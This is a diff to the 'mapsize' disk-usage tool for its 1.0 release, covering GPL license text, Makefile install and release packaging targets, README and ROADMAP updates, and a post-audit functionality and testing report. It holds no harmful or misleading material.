||||||
|
give under the previous paragraph, plus a right to possession of the
|
||||||
|
Corresponding Source of the work from the predecessor in interest, if
|
||||||
|
the predecessor has it or can get it with reasonable efforts.
|
||||||
|
|
||||||
|
You may not impose any further restrictions on the exercise of the
|
||||||
|
rights granted or affirmed under this License. For example, you may
|
||||||
|
not impose a license fee, royalty, or other charge for exercise of
|
||||||
|
rights granted under this License, and you may not initiate litigation
|
||||||
|
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||||
|
any patent claim is infringed by making, using, selling, offering for
|
||||||
|
sale, or importing the Program or any portion of it.
|
||||||
|
|
||||||
|
11. Patents.
|
||||||
|
|
||||||
|
A "contributor" is a copyright holder who authorizes use under this
|
||||||
|
License of the Program or a work on which the Program is based. The
|
||||||
|
work thus licensed is called the contributor's "contributor version".
|
||||||
|
|
||||||
|
A contributor's "essential patent claims" are all patent claims
|
||||||
|
owned or controlled by the contributor, whether already acquired or
|
||||||
|
hereafter acquired, that would be infringed by some manner, permitted
|
||||||
|
by this License, of making, using, or selling its contributor version,
|
||||||
|
but do not include claims that would be infringed only as a
|
||||||
|
consequence of further modification of the contributor version. For
|
||||||
|
purposes of this definition, "control" includes the right to grant
|
||||||
|
patent sublicenses in a manner consistent with the requirements of
|
||||||
|
this License.
|
||||||
|
|
||||||
|
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||||
|
patent license under the contributor's essential patent claims, to
|
||||||
|
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||||
|
propagate the contents of its contributor version.
|
||||||
|
|
||||||
|
In the following three paragraphs, a "patent license" is any express
|
||||||
|
agreement or commitment, however denominated, not to enforce a patent
|
||||||
|
(such as an express permission to practice a patent or covenant not to
|
||||||
|
sue for patent infringement). To "grant" such a patent license to a
|
||||||
|
party means to make such an agreement or commitment not to enforce a
|
||||||
|
patent against the party.
|
||||||
|
|
||||||
|
If you convey a covered work, knowingly relying on a patent license,
|
||||||
|
and the Corresponding Source of the work is not available for anyone
|
||||||
|
to copy, free of charge and under the terms of this License, through a
|
||||||
|
publicly available network server or other readily accessible means,
|
||||||
|
then you must either (1) cause the Corresponding Source to be so
|
||||||
|
available, or (2) arrange to deprive yourself of the benefit of the
|
||||||
|
patent license for this particular work, or (3) arrange, in a manner
|
||||||
|
consistent with the requirements of this License, to extend the patent
|
||||||
|
license to downstream recipients. "Knowingly relying" means you have
|
||||||
|
actual knowledge that, but for the patent license, your conveying the
|
||||||
|
covered work in a country, or your recipient's use of the covered work
|
||||||
|
in a country, would infringe one or more identifiable patents in that
|
||||||
|
country that you have reason to believe are valid.
|
||||||
|
|
||||||
|
If, pursuant to or in connection with a single transaction or
|
||||||
|
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||||
|
covered work, and grant a patent license to some of the parties
|
||||||
|
receiving the covered work authorizing them to use, propagate, modify
|
||||||
|
or convey a specific copy of the covered work, then the patent license
|
||||||
|
you grant is automatically extended to all recipients of the covered
|
||||||
|
work and works based on it.
|
||||||
|
|
||||||
|
A patent license is "discriminatory" if it does not include within
|
||||||
|
the scope of its coverage, prohibits the exercise of, or is
|
||||||
|
conditioned on the non-exercise of one or more of the rights that are
|
||||||
|
specifically granted under this License. You may not convey a covered
|
||||||
|
work if you are a party to an arrangement with a third party that is
|
||||||
|
in the business of distributing software, under which you make payment
|
||||||
|
to the third party based on the extent of your activity of conveying
|
||||||
|
the work, and under which the third party grants, to any of the
|
||||||
|
parties who would receive the covered work from you, a discriminatory
|
||||||
|
patent license (a) in connection with copies of the covered work
|
||||||
|
conveyed by you (or copies made from those copies), or (b) primarily
|
||||||
|
for and in connection with specific products or compilations that
|
||||||
|
contain the covered work, unless you entered into that arrangement,
|
||||||
|
or that patent license was granted, prior to 28 March 2007.
|
||||||
|
|
||||||
|
Nothing in this License shall be construed as excluding or limiting
|
||||||
|
any implied license or other defenses to infringement that may
|
||||||
|
otherwise be available to you under applicable patent law.
|
||||||
|
|
||||||
|
12. No Surrender of Others' Freedom.
|
||||||
|
|
||||||
|
If conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot convey a
|
||||||
|
covered work so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you may
|
||||||
|
not convey it at all. For example, if you agree to terms that obligate you
|
||||||
|
to collect a royalty for further conveying from those to whom you convey
|
||||||
|
the Program, the only way you could satisfy both those terms and this
|
||||||
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
|
13. Use with the GNU Affero General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, you have
|
||||||
|
permission to link or combine any covered work with a work licensed
|
||||||
|
under version 3 of the GNU Affero General Public License into a single
|
||||||
|
combined work, and to convey the resulting work. The terms of this
|
||||||
|
License will continue to apply to the part which is the covered work,
|
||||||
|
but the special requirements of the GNU Affero General Public License,
|
||||||
|
section 13, concerning interaction through a network will apply to the
|
||||||
|
combination as such.
|
||||||
|
|
||||||
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
|
the GNU General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the
|
||||||
|
Program specifies that a certain numbered version of the GNU General
|
||||||
|
Public License "or any later version" applies to it, you have the
|
||||||
|
option of following the terms and conditions either of that numbered
|
||||||
|
version or of any later version published by the Free Software
|
||||||
|
Foundation. If the Program does not specify a version number of the
|
||||||
|
GNU General Public License, you may choose any version ever published
|
||||||
|
by the Free Software Foundation.
|
||||||
|
|
||||||
|
If the Program specifies that a proxy can decide which future
|
||||||
|
versions of the GNU General Public License can be used, that proxy's
|
||||||
|
public statement of acceptance of a version permanently authorizes you
|
||||||
|
to choose that version for the Program.
|
||||||
|
|
||||||
|
Later license versions may give you additional or different
|
||||||
|
permissions. However, no additional obligations are imposed on any
|
||||||
|
author or copyright holder as a result of your choosing to follow a
|
||||||
|
later version.
|
||||||
|
|
||||||
|
15. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||||
|
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||||
|
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||||
|
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||||
|
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||||
|
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||||
|
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
16. Limitation of Liability.
|
||||||
|
|
||||||
|
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||||
|
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||||
|
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||||
|
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||||
|
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||||
|
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||||
|
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||||
|
SUCH DAMAGES.
|
||||||
|
|
||||||
|
17. Interpretation of Sections 15 and 16.
|
||||||
|
|
||||||
|
If the disclaimer of warranty and limitation of liability provided
|
||||||
|
above cannot be given local legal effect according to their terms,
|
||||||
|
reviewing courts shall apply local law that most closely approximates
|
||||||
|
an absolute waiver of all civil liability in connection with the
|
||||||
|
Program, unless a warranty or assumption of liability accompanies a
|
||||||
|
copy of the Program in return for a fee.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
state the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
<one line to give the program's name and a brief idea of what it does.>
|
||||||
|
Copyright (C) <year> <name of author>
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program does terminal interaction, make it output a short
|
||||||
|
notice like this when it starts in an interactive mode:
|
||||||
|
|
||||||
|
<program> Copyright (C) <year> <name of author>
|
||||||
|
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, your program's commands
|
||||||
|
might be different; for a GUI interface, you would use an "about box".
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
|
For more information on this, and how to apply and follow the GNU GPL, see
|
||||||
|
<https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
The GNU General Public License does not permit incorporating your program
|
||||||
|
into proprietary programs. If your program is a subroutine library, you
|
||||||
|
may consider it more useful to permit linking proprietary applications with
|
||||||
|
the library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License. But first, please read
|
||||||
|
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||||
|
|
||||||
@@ -2,13 +2,21 @@ BIN := bin
|
|||||||
PKG := ./...
|
PKG := ./...
|
||||||
VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
|
VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
|
||||||
LDFLAGS := -s -w
|
LDFLAGS := -s -w
|
||||||
|
PREFIX ?= /usr/local
|
||||||
|
|
||||||
.PHONY: build test race vet fmt fmt-check benchmark fuzz release clean treegen
|
.PHONY: build install man brew-formula test race vet fmt fmt-check benchmark fuzz release clean treegen
|
||||||
|
|
||||||
build:
|
build:
|
||||||
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize
|
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize
|
||||||
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen
|
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen
|
||||||
|
|
||||||
|
install: build
|
||||||
|
install -Dm755 $(BIN)/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize
|
||||||
|
install -Dm644 docs/mapsize.1 $(DESTDIR)$(PREFIX)/share/man/man1/mapsize.1
|
||||||
|
|
||||||
|
man:
|
||||||
|
man -l docs/mapsize.1
|
||||||
|
|
||||||
test:
|
test:
|
||||||
go test $(PKG)
|
go test $(PKG)
|
||||||
|
|
||||||
@@ -32,13 +40,41 @@ fuzz:
|
|||||||
go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap
|
go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap
|
||||||
go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter
|
go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter
|
||||||
|
|
||||||
|
# Cross-built archives plus .deb/.rpm/.apk/Arch packages in $(BIN)/release.
|
||||||
|
REL := $(BIN)/release
|
||||||
|
NFPM := go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1
|
||||||
release:
|
release:
|
||||||
@for t in linux/amd64 linux/arm64 darwin/amd64 darwin/arm64 windows/amd64 windows/arm64; do \
|
rm -rf $(REL) && mkdir -p $(REL)
|
||||||
|
@set -e; v=$(VERSION); v=$${v#v}; \
|
||||||
|
for t in linux/amd64 linux/arm64 linux/386 linux/arm darwin/amd64 darwin/arm64 \
|
||||||
|
windows/amd64 windows/arm64 freebsd/amd64 freebsd/arm64 openbsd/amd64 netbsd/amd64; do \
|
||||||
os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \
|
os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \
|
||||||
echo "$$os/$$arch"; \
|
name=mapsize-$$v-$$os-$$arch; d=$(REL)/$$name; echo "$$os/$$arch"; mkdir -p $$d; \
|
||||||
CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch go build -trimpath -ldflags '$(LDFLAGS)' \
|
CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch GOARM=7 go build -trimpath \
|
||||||
-o $(BIN)/release/mapsize-$(VERSION)-$$os-$$arch$$ext ./cmd/mapsize || exit 1; \
|
-ldflags '$(LDFLAGS) -X github.com/andydixon/mapsize/internal/brand.Version='$$v \
|
||||||
done
|
-o $$d/mapsize$$ext ./cmd/mapsize; \
|
||||||
|
cp README.md CHANGELOG.md LICENSE docs/mapsize.1 $$d/; \
|
||||||
|
if [ $$os = windows ]; then (cd $(REL) && zip -qr $$name.zip $$name); \
|
||||||
|
else tar -C $(REL) -czf $(REL)/$$name.tar.gz $$name; fi; \
|
||||||
|
if [ $$os = linux ]; then mkdir -p $(REL)/pkg && cp $$d/mapsize $(REL)/pkg/; \
|
||||||
|
a=$$arch; [ $$a = arm ] && a=arm7; \
|
||||||
|
for f in deb rpm apk archlinux; do \
|
||||||
|
VERSION=$$v ARCH=$$a $(NFPM) pkg -f nfpm.yaml -p $$f -t $(REL)/; done; rm -rf $(REL)/pkg; fi; \
|
||||||
|
rm -rf $$d; \
|
||||||
|
done; \
|
||||||
|
cd $(REL) && sha256sum * > SHA256SUMS
|
||||||
|
|
||||||
|
# Homebrew formula for the tagged release. The tag must already be pushed:
|
||||||
|
# the checksum is of GitHub's source tarball for that tag.
|
||||||
|
BREW_REPO := https://github.com/andydixon/mapsize
|
||||||
|
brew-formula:
|
||||||
|
@set -e; v=$(VERSION); v=$${v#v}; \
|
||||||
|
case $$v in *-*) echo "brew-formula: HEAD is not exactly a release tag ($$v)"; exit 1;; esac; \
|
||||||
|
url=$(BREW_REPO)/archive/refs/tags/v$$v.tar.gz; \
|
||||||
|
sum=$$(curl -fsSL "$$url" | sha256sum | cut -d' ' -f1) || { echo "cannot fetch $$url (tag pushed?)"; exit 1; }; \
|
||||||
|
mkdir -p $(BIN)/homebrew; \
|
||||||
|
sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \
|
||||||
|
echo "wrote $(BIN)/homebrew/mapsize.rb (v$$v, sha256 $$sum)"
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(BIN)
|
rm -rf $(BIN)
|
||||||
|
|||||||
@@ -8,9 +8,10 @@ runs over SSH.
|
|||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
Milestones 0.1–0.8 are implemented; 0.9 (hardening) is in progress. See
|
Version 1.0. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for
|
||||||
[ROADMAP.md](ROADMAP.md) for detail and [PERFORMANCE.md](PERFORMANCE.md) for
|
what comes next, and [PERFORMANCE.md](PERFORMANCE.md) for measured numbers.
|
||||||
measured numbers.
|
Tested on Linux; macOS and Windows builds are produced but trash and
|
||||||
|
file-manager integration have not yet been tested there.
|
||||||
|
|
||||||
## What it does
|
## What it does
|
||||||
|
|
||||||
@@ -55,8 +56,8 @@ measured numbers.
|
|||||||
| x, g, e | file types, top lists, scan info & errors |
|
| x, g, e | file types, top lists, scan info & errors |
|
||||||
| D | find duplicates |
|
| D | find duplicates |
|
||||||
| a | toggle allocated / logical size |
|
| a | toggle allocated / logical size |
|
||||||
| c, o | copy path, reveal in file manager |
|
| c, o | copy path, reveal in file manager (headless: show the folder in the map) |
|
||||||
| d | move to trash (asks; disabled with `--read-only`) |
|
| d | move to trash, or delete permanently when headless (asks; disabled with `--read-only`) |
|
||||||
| s, r | save snapshot, rescan |
|
| s, r | save snapshot, rescan |
|
||||||
| T | cycle theme |
|
| T | cycle theme |
|
||||||
| ? | help |
|
| ? | help |
|
||||||
@@ -69,11 +70,22 @@ the map or scrolls lists. Everything works without a mouse (`--no-mouse`).
|
|||||||
## Install
|
## Install
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
go install github.com/andydixon/mapsize/cmd/mapsize@latest
|
go install github.com/andydixon/mapsize/cmd/mapsize@v1.0.0
|
||||||
# or
|
# or
|
||||||
make build # → bin/mapsize
|
make build # → bin/mapsize
|
||||||
|
sudo make install # binary + man page under /usr/local (PREFIX=… to change)
|
||||||
|
|
||||||
|
# Homebrew (macOS and Linux)
|
||||||
|
brew install andydixon/tap/mapsize
|
||||||
```
|
```
|
||||||
|
|
||||||
|
On Debian, Ubuntu, Fedora, RHEL, openSUSE and Arch, `mapsize` is also in the
|
||||||
|
signed apt, dnf and pacman repository at repo.dixon.cx, so it updates with the
|
||||||
|
rest of the system: see https://dixon.cx/repo for the setup commands.
|
||||||
|
|
||||||
|
Full reference: `man mapsize` after installing, or `make man` /
|
||||||
|
`man -l docs/mapsize.1` from the source tree.
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
@@ -148,12 +160,24 @@ uses ordinary filesystem APIs, and duplicate detection reads file content
|
|||||||
|
|
||||||
`d` moves the selected item to the system trash (freedesktop.org trash on
|
`d` moves the selected item to the system trash (freedesktop.org trash on
|
||||||
Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation,
|
Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation,
|
||||||
using native file operations — never a shell. Permanent deletion is not
|
using native file operations — never a shell.
|
||||||
offered. Trash is unavailable while scanning, for snapshots, and in
|
|
||||||
read-only mode.
|
On a headless Linux or BSD system (neither `DISPLAY` nor `WAYLAND_DISPLAY`
|
||||||
|
set) nothing ever empties the trash, so trashing would not free any space.
|
||||||
|
There `d` deletes permanently instead, after a confirmation that says it
|
||||||
|
cannot be undone, and `o` shows the folder in the map rather than opening a
|
||||||
|
file manager.
|
||||||
|
|
||||||
|
Deletion is unavailable while scanning, for snapshots, and in read-only
|
||||||
|
mode.
|
||||||
|
|
||||||
## Documentation
|
## Documentation
|
||||||
|
|
||||||
|
* [docs/mapsize.1](docs/mapsize.1) — manual page
|
||||||
* [ARCHITECTURE.md](ARCHITECTURE.md) — design and invariants
|
* [ARCHITECTURE.md](ARCHITECTURE.md) — design and invariants
|
||||||
* [DEVELOPMENT.md](DEVELOPMENT.md) — building, testing, profiling
|
* [DEVELOPMENT.md](DEVELOPMENT.md) — building, testing, profiling
|
||||||
* [PERFORMANCE.md](PERFORMANCE.md) — measured results
|
* [PERFORMANCE.md](PERFORMANCE.md) — measured results
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
GPL-3.0-or-later. See [LICENSE](LICENSE).
|
||||||
|
|||||||
+10
-3
@@ -37,7 +37,7 @@ Status markers: `[x]` done, `[~]` partial, `[ ]` not started.
|
|||||||
- [x] read-only mode, JSON/CSV export
|
- [x] read-only mode, JSON/CSV export
|
||||||
- [x] move-to-trash: freedesktop trash (tested on Linux); macOS ~/.Trash and Windows Recycle Bin implemented but not yet tested on those systems
|
- [x] move-to-trash: freedesktop trash (tested on Linux); macOS ~/.Trash and Windows Recycle Bin implemented but not yet tested on those systems
|
||||||
|
|
||||||
## 0.9 — hardening (ongoing)
|
## 0.9 — hardening
|
||||||
- [~] profiling & benchmarks (warm-cache only so far) (see PERFORMANCE.md)
|
- [~] profiling & benchmarks (warm-cache only so far) (see PERFORMANCE.md)
|
||||||
- [ ] memory reduction (name arena) if profiles justify it
|
- [ ] memory reduction (name arena) if profiles justify it
|
||||||
- [ ] Windows allocated-size via GetCompressedFileSizeW (opt-in)
|
- [ ] Windows allocated-size via GetCompressedFileSizeW (opt-in)
|
||||||
@@ -46,5 +46,12 @@ Status markers: `[x]` done, `[~]` partial, `[ ]` not started.
|
|||||||
- [x] incremental path-predicate evaluation for filters
|
- [x] incremental path-predicate evaluation for filters
|
||||||
- [ ] permanent deletion (deliberately not offered yet; trash only)
|
- [ ] permanent deletion (deliberately not offered yet; trash only)
|
||||||
|
|
||||||
## 1.0
|
## 1.0 (released 2026-10-02)
|
||||||
- [ ] stable snapshot format v1 guarantee, packaged releases
|
- [x] stable snapshot format v1 guarantee
|
||||||
|
- [x] packaged releases (`make release`: archives, deb/rpm/apk/Arch, checksums)
|
||||||
|
- [x] manual page
|
||||||
|
|
||||||
|
## After 1.0
|
||||||
|
Unchecked items above carry over; candidates for 1.1 are cold-cache
|
||||||
|
benchmarks, configurable keybindings and testing trash/reveal on macOS and
|
||||||
|
Windows.
|
||||||
|
|||||||
@@ -0,0 +1,103 @@
|
|||||||
|
# Functionality and Next Steps Report
|
||||||
|
|
||||||
|
Project: **mapsize** v1.0.0 plus the fixes from the security audit of 2026-10-02 (`audits/20261002-1102-securityAudit.md`).
|
||||||
|
|
||||||
|
## 1. Executive Summary
|
||||||
|
|
||||||
|
mapsize is a well-structured, well-documented codebase with unusually good invariants:
|
||||||
|
|
||||||
|
- a single writer for the inventory,
|
||||||
|
- a deadlock-free bounded scheduler,
|
||||||
|
- a documented lock discipline,
|
||||||
|
- a defensive renderer.
|
||||||
|
|
||||||
|
The full test suite passes across 11 packages, `go vet` is clean on every target OS, and `govulncheck` reports no vulnerabilities.
|
||||||
|
|
||||||
|
The highest-impact opportunities:
|
||||||
|
|
||||||
|
1. **Make actions after the scan relative to file descriptors** (scanner, duplicate hashing, reveal), so that what mapsize acts on is provably what it scanned. This is the remaining correctness and security gap when running as root.
|
||||||
|
2. **Exercise the macOS and Windows paths for real.** Trash and reveal there are implemented but have never been run (ROADMAP 0.8). CI runs `go test` on those OSes, but the platform tests are Linux-only.
|
||||||
|
3. **Small UX and robustness fixes:**
|
||||||
|
- repeated actions on already-trashed nodes,
|
||||||
|
- JSON names that cannot be mapped back to real files,
|
||||||
|
- an unbounded filter-query nesting depth.
|
||||||
|
|
||||||
|
## 2. Current Functional Risks
|
||||||
|
|
||||||
|
| Risk | Evidence | User impact |
|
||||||
|
|---|---|---|
|
||||||
|
| Trash and reveal on macOS and Windows are untested | ROADMAP 0.8; `ops_darwin.go` and `ops_windows.go` have no tests | First-use failures on those platforms; MS-09 (explorer comma parsing) is unverified |
|
||||||
|
| Trashing inside an already-trashed directory | `trashDone` (`internal/tui/actions.go`) flags only the trashed node `FlagDeleted`; its descendants stay selectable in some views until a rescan | Normally fails safely, because the path is gone and `Lstat` errors. If someone recreates the same path, the stale aggregates would be subtracted again |
|
||||||
|
| Scan redirection by symlink races | `platform.ReadDir` opens directories by path (MS-08) | Wrong totals on trees other users can write to |
|
||||||
|
| `--duplicates` reading from a hung NFS/SMB mount | `fullHash` makes a blocking `read(2)` | It cannot be cancelled (inherent); worth documenting |
|
||||||
|
| JSON names lossy for non-UTF-8 bytes | `encoding/json` replaces invalid UTF-8 with U+FFFD | Consumers cannot locate those files |
|
||||||
|
| Filter queries with extreme nesting | Recursive descent in `filter/parser.go` | A self-inflicted crash from a pathological paste |
|
||||||
|
| Copy refusal for unusual names (new) | `copyPath` refuses anything `Sanitize` would change | Users with legitimately odd names cannot copy them; the info modal shows the escaped form instead |
|
||||||
|
|
||||||
|
## 3. Code Quality Improvements
|
||||||
|
|
||||||
|
- **Platform trash code.** After this audit, `ensurePrivateDir` and `renameChecked` live in `trash_unix.go`, shared by Linux and macOS. The remaining Linux/macOS differences (trash layout, the `.trashinfo` file) are inherent. Keep any new platform logic behind `internal/platform`, as ARCHITECTURE.md requires.
|
||||||
|
- **`requestTrash` captures identity in the confirmation closure.** If inode identity is added (security finding MS-11), extend `platform.Expect` rather than adding parameters.
|
||||||
|
- **Ignored `Write` errors in `snapshot.Save` and `export.JSON`.** These are safe because the final `Flush` reports a sticky error. A short comment saying so would stop future "fixes" from adding noise.
|
||||||
|
- **`pprof.StartCPUProfile` error ignored** in `cmd/mapsize/main.go`. Report it, so that a profiling run does not silently produce nothing.
|
||||||
|
- **ARCHITECTURE.md drift.** Its OS-abstraction section names `readdir_unix.go`, `readdir_windows.go` and `fs_*.go`. The actual files are `readdir_bsd.go`, `readdir_other.go`, `sys_*.go` and `mode_unix.go`, plus the new `trash_unix.go` and `open_*.go`. The document says that if the two disagree, one of them should be fixed.
|
||||||
|
|
||||||
|
## 4. Frontend Interaction and Error-Handling Improvements
|
||||||
|
|
||||||
|
(This is a terminal UI; there is no web frontend.)
|
||||||
|
|
||||||
|
- **Show *why* an action was refused, with a next step.** Trash now reports "item changed since the scan … rescan first". Consider offering `r` (rescan) directly from that message.
|
||||||
|
- **Mark descendants of trashed directories.** Either hide nodes whose ancestor carries `FlagDeleted` in the list, top and duplicate views, or have `requestTrash` refuse them early with "already moved to trash".
|
||||||
|
- **Duplicate view while hashing.** Esc cancels between files. Showing "waiting on <file>" when one read stalls for more than N seconds would make a hung network mount visible.
|
||||||
|
- **Copy refusal.** Offer to copy the *escaped* form, clearly labelled, so that users can still reference odd names in scripts.
|
||||||
|
|
||||||
|
## 5. Testing Roadmap
|
||||||
|
|
||||||
|
- **Platform:**
|
||||||
|
- macOS: run the platform tests on the CI `macos-latest` runner. Port `TestTrashFreedesktop`-style tests to `~/.Trash` and to a volume trash on a disk image created with `hdiutil`.
|
||||||
|
- Windows: a Recycle Bin smoke test, plus reveal with comma-bearing names (MS-09).
|
||||||
|
- **Abuse cases:**
|
||||||
|
- A scanner race test in which a goroutine toggles a directory and a symlink during a scan, asserting that no node falls outside the root's (dev, ino) closure. This needs MS-08 first.
|
||||||
|
- Filter nesting-depth and length limits.
|
||||||
|
- A test that `--read-only` blocks every mutating key: `d`, `delete`, and `d` inside the duplicate view.
|
||||||
|
- **Config:** malformed JSON, out-of-range `refresh_hz`, and bad colours.
|
||||||
|
- **Regression:** keep running the four tests added in this audit and the existing hostile-snapshot and fuzz targets in CI. Consider a nightly job running `make fuzz` for longer.
|
||||||
|
- **Load:** the cold-cache HDD benchmark already on the ROADMAP, and a snapshot load benchmark at the new node-limit boundary.
|
||||||
|
|
||||||
|
## 6. Recommended New Functionality
|
||||||
|
|
||||||
|
- **Safer root workflow:** a `--trash-owned-by-me` option, or a default that refuses to trash items in directories owned by other users when running as root. This prevents most of the TOCTOU class of bugs outright.
|
||||||
|
- **Lossless export:** add a `name_escaped`/`path_escaped` (or base64) field to JSON and CSV for names that are not valid UTF-8.
|
||||||
|
- **Snapshot provenance (optional):** `--sign KEY` and `--verify KEY` using Ed25519, so teams that share snapshots can trust their origin. See audit finding MS-13.
|
||||||
|
- **Configurable keybindings** (already on the ROADMAP).
|
||||||
|
- **Windows allocated size** through `GetCompressedFileSizeW` (already on the ROADMAP).
|
||||||
|
|
||||||
|
## 7. Next-Level Opportunities
|
||||||
|
|
||||||
|
- **Descriptor-relative scanner:**
|
||||||
|
- Keep a parent fd per pending directory, or reopen with `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+.
|
||||||
|
- Verify (dev, ino) after each open.
|
||||||
|
- Store `Ino` for the nodes that need it.
|
||||||
|
- This closes MS-08, MS-11 and MS-12 together, and may reduce path-building work in hot loops.
|
||||||
|
- **Memory:** the name arena on the ROADMAP would also cut the per-node cost behind the snapshot amplification limit.
|
||||||
|
- **Release pipeline:** build releases in GitHub Actions with SHA-pinned actions, attach Sigstore signatures and SLSA provenance, and publish the Homebrew formula automatically.
|
||||||
|
- **Accessibility:** the `mono` theme and the non-colour selection cues are good. A screen-reader-friendly `--no-ui` interactive list mode could serve users who cannot use a treemap.
|
||||||
|
|
||||||
|
## 8. Prioritised Action Plan
|
||||||
|
|
||||||
|
| Horizon | Action | Rationale | Risk |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Immediate | Done: the trash identity check, copy guard, FIFO-safe open, snapshot node cap and CI token scope | Closes the Medium findings | Low; all have tests |
|
||||||
|
